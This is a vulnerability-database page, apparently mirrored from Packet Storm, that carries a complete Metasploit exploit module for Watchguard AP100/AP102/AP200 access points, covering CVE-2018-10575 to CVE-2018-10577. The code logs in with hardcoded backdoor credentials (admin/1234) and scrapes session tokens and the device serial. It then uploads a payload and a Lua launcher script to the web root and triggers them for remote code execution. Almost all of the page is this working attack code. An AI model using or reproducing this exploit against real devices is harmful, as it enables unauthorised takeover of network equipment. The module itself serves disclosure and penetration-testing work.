Lucene search
K

Watchguard AP100/AP102/AP200 1.2.9.15 Remote Code Execution

🗓️ 15 Sep 2018 00:00:00Reported by Stephen ShkardoonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 390 Views

Watchguard AP backdoor account with known credentials for remote code execution via uploading and executing a shell

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Watchguard AP Backdoor Shell',  
'Description' => 'Watchguard AP\'s have a backdoor account with known credentials. This can be used to  
gain a valid web session on the HTTP administration interface. The administrator  
can then upload a shell directly to the web root to execute it.  
This module can also be used if you have legitimate access credentials to the device.',  
'References' =>  
[  
['CVE', 'CVE-2018-10575'],  
['CVE', 'CVE-2018-10576'],  
['CVE', 'CVE-2018-10577'],  
['URL', 'http://seclists.org/fulldisclosure/2018/May/12'],  
['URL', 'https://watchguardsupport.secure.force.com/publicKB?type=KBSecurityIssues&SFDCID=kA62A0000000LIy'],  
],  
'Author' => 'Stephen Shkardoon ', # ss23 / @ss2342  
'License' => MSF_LICENSE,  
'Platform' => 'linux',  
'Targets' => [ [ 'Automatic', { } ] ],  
'DefaultTarget' => 0,  
'Arch' => ARCH_MIPSBE,  
))  
  
register_options(  
[  
Opt::RPORT(443),  
#Opt::SSL(true),  
OptString.new('WG_USER', [ true, 'The username to authenticate as', 'admin']),  
OptString.new('WG_PASS', [ true, 'The password for the specified username', '1234']),  
])  
end  
  
def exploit  
begin  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => '/cgi-bin/luci/',  
'headers' => {  
'AUTH_USER' => datastore['WG_USER'],  
'AUTH_PASS' => datastore['WG_PASS'],  
},  
})  
  
if res.nil? || res.get_cookies.empty?  
fail_with(Failure::NotFound, 'Unable to obtain a valid session with provided credentials')  
end  
  
# We have a valid session, so we should pull out the access credentials and find the serial number  
sysauth = res.get_cookies.scan(/(sysauth=\w+);*/).flatten[0]  
stok = res.redirection.to_s.scan(/;(stok=\w+)/).flatten[0]  
  
vprint_status("Got sysauth #{sysauth}")  
vprint_status("Got stok #{stok}")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "/cgi-bin/luci/;#{stok}/html/Status",  
'headers' => {  
'AUTH_USER' => datastore['WG_USER'],  
'AUTH_PASS' => datastore['WG_PASS'],  
},  
'cookie' => sysauth,  
})  
  
if res.nil? || res.code != 200  
fail_with(Failure::NotFound, 'Unable to request serial')  
end  
  
# Pull out the serial and store it for later  
# var device_serial = "20AP0XXXXXXXX";  
if res.body.match(/device_serial = "(\w+)";/)  
serial = $1  
else  
fail_with(Failure::NotFound, 'Unable to find serial in response')  
end  
  
vprint_status("Got serial #{serial}")  
  
# Finally, upload our payloads  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/luci/;#{stok}/wgupload",  
'headers' => {  
'AUTH_USER' => datastore['WG_USER'],  
'AUTH_PASS' => datastore['WG_PASS'],  
},  
'cookie' => "#{sysauth}; serial=#{serial}; filename=/tmp/payload; md5sum=fail",  
'data' => payload.encoded_exe,  
})  
  
if res.nil? || res.code != 205  
fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")  
end  
  
# Upload the lua script that executes our payload  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/luci/;#{stok}/wgupload",  
'headers' => {  
'AUTH_USER' => datastore['WG_USER'],  
'AUTH_PASS' => datastore['WG_PASS'],  
},  
'cookie' => "#{sysauth}; serial=#{serial}; filename=/www/cgi-bin/payload.luci; md5sum=fail",  
'data' => "#!/usr/bin/lua  
os.execute('/bin/chmod +x /tmp/payload');   
os.execute('/tmp/payload');"  
})  
  
if res.nil? || res.code != 205  
fail_with(Failure::NotFound, "Could not upload file 1: #{res.body}")  
end  
  
# Remove the trigger script once we've got a shell  
register_file_for_cleanup("/www/cgi-bin/payload.luci")  
  
vprint_status("Uploaded lua script")  
  
# Trigger our payload  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "/cgi-bin/payload.luci",  
})  
  
vprint_status("Requested lua payload")  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
vprint_error("Failed to connect to the web server")  
return nil  
end  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Sep 2018 00:00Current
8.2High risk
Vulners AI Score8.2
EPSS0.08671
390